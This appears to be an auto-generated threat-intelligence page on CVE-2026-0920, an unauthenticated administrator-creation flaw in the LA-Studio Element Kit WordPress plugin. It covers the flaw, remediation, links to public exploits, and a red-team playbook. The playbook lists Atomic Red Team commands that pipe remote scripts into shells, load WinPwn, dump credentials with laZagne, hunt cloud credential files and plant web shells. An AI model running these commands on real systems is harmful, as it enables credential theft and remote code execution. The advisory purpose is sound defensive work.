CVE-2026-0920
Overview
This vulnerability is an improper access control flaw in the LA-Studio Element Kit for Elementor WordPress plugin. The root cause is the 'ajax_register_handle' function failing to restrict the user roles that can be assigned during registration. This allows manipulation of the 'lakit_bkrole' parameter, affecting the user registration component of the plugin up to version 1.5.6.3.
Vulnerability Description
The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Administrative User Creation in all versions up to, and including, 1.5.6.3. This is due to the 'ajax_register_handle' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'lakit_bkrole' parameter during registration and gain administrator access to the site.
Impact
An unauthenticated attacker can exploit this vulnerability to create an administrative user account on the affected WordPress site, gaining full control over the system. No authentication or user interaction is required, and the attack can be performed remotely over the network. This enables complete compromise of confidentiality, integrity, and availability of the site, including data theft, site defacement, and persistent backdoor installation. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of exploitation and high impact severity.
Solution
To remediate this vulnerability, upgrade the LA-Studio Element Kit for Elementor plugin to a version later than 1.5.6.3 where the issue is fixed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/65ebc744-6cc2-47ce-b225-81820e49d59c) and the plugin's WordPress Trac repository changelog (changeset 3439121) provide details on the patch addressing the improper role assignment in 'ajax_register_handle'. No official workaround is documented; therefore, applying the update is the recommended action.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the LA-Studio Element Kit for Elementor plugin for WordPress arises from a critical flaw in the 'ajax_register_handle' function, which fails to adequately restrict user role assignments during the registration process. This oversight allows unauthenticated users to manipulate the registration parameters, specifically the 'lakit_bkrole' parameter, to create accounts with elevated privileges, including administrative access. The lack of proper validation and role restriction means that any user can register as an administrator without any authentication, leading to severe security implications for any WordPress site utilizing this plugin.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a simple HTTP request to the registration endpoint, including the malicious 'lakit_bkrole' parameter set to 'administrator'. Once the request is processed, the attacker gains administrative access to the WordPress site, enabling them to perform a range of malicious activities, such as installing backdoors, modifying site content, stealing sensitive data, or even launching further attacks on users of the site. The simplicity of this attack, requiring no sophisticated tools or extensive technical knowledge, makes it particularly dangerous and accessible to a wide range of potential adversaries.
The real-world impact of this vulnerability can be devastating for businesses and organizations that rely on WordPress for their online presence. Gaining administrative access allows attackers to compromise the integrity of the website, leading to potential data breaches, loss of customer trust, and significant reputational damage. Furthermore, the ability to manipulate site content can result in defacement or the distribution of malware to unsuspecting visitors, which can have legal ramifications and lead to financial losses. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, emphasizing the urgency for affected users to address the issue promptly.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to update the LA-Studio Element Kit for Elementor plugin to the latest version, which includes patches for this vulnerability. Regularly monitoring and applying updates to all plugins and themes is a best practice for maintaining WordPress security. Additionally, implementing a web application firewall (WAF) can help filter out malicious requests and provide an additional layer of protection against exploitation attempts. Organizations should also conduct regular security audits and vulnerability assessments to identify and remediate any potential weaknesses in their web applications.
In conclusion, the vulnerability within the LA-Studio Element Kit for Elementor plugin poses a significant threat to WordPress sites, enabling unauthorized administrative access through a simple manipulation of registration parameters. The potential for exploitation is high, with severe implications for businesses, including data breaches and reputational damage. By adopting proactive detection and mitigation strategies, organizations can safeguard their web applications and minimize the risks associated with such vulnerabilities. It is imperative for site administrators to remain vigilant and prioritize security to protect their digital assets in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting the LA-Studio Element Kit for Elementor vulnerability. Our telemetry indicates the emergence of multiple new proof-of-concept exploits circulating on public repositories, broadening the exploit landscape and lowering the barrier for adversaries to weaponize this critical flaw. Although the EPSS score remains low and stable, the qualitative increase in exploitation attempts signals growing attacker interest and experimentation with automated privilege escalation techniques. This development elevates the urgency for defenders to monitor for anomalous registration behaviors indicative of unauthorized administrative account creation. The expanding availability of exploitation tools increases the likelihood of opportunistic attacks, thereby heightening the overall threat level associated with CVE-2026-0920 despite the currently modest exploitation probability metrics.
Update 2 — July 25, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2026-0920, accompanied by the emergence of multiple new proof-of-concept exploits circulating on public code repositories. Our telemetry indicates that threat actors are increasingly leveraging these readily accessible tools to automate unauthorized administrative user creation via the vulnerable ajax_register_handle function. While the EPSS score remains low and stable, the qualitative surge in activity reflects growing adversary confidence and experimentation, which could presage broader exploitation campaigns. This development amplifies the operational risk for defenders, as the expanding exploit landscape lowers the barrier to entry for less sophisticated attackers to compromise affected WordPress instances. Consequently, the threat level associated with CVE-2026-0920 has risen from a theoretical concern to a more imminent operational challenge, necessitating heightened vigilance for anomalous registration patterns indicative of privilege escalation attempts.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (5)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
John-doe-code-a11/CVE-2026-0920
Explanation and payload of the recent vulnerability in the LA-Studio Element WordPress plugin.
|
John-doe-code-a11 | 7 | 0 | 2026-01-28 | View |
|
Nxploited/CVE-2026-0920-
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Unauthenticated Privilege Escalation via Backdoor to Administrative Use...
|
Nxploited | 2 | 1 | 2026-04-18 | View |
|
O99099O/By-Poloss..-..CVE-2026-0920
CVE-2026-0920 — Unauthenticated admin account creation in LA-Studio Element Kit for Elementor (≤ 1.5.6.3) via improper r...
|
O99099O | 2 | 0 | 2026-01-25 | View |
|
Galaxy-sc/CVE-2026-0920-WordPress-LA-Studio-Exploit
|
Galaxy-sc | 2 | 0 | 2026-01-22 | View |
|
Dx3iZ/CVE-2026-0920
Creating a Wordpress Admin User
|
Dx3iZ | 0 | 0 | 2026-07-06 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-122 | Privilege Abuse |
30%
|
High | Medium | |
| CAPEC-233 | Privilege Escalation |
30%
|
— | — | |
| CAPEC-58 | Restful Privilege Elevation |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-0920 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/65ebc744-6cc2-47ce-b225-81820e49d59c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/lastudio-element-kit/tags/1.5.6.3/includes/integrations/override.php#L301 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3439121/lastudio-element-kit |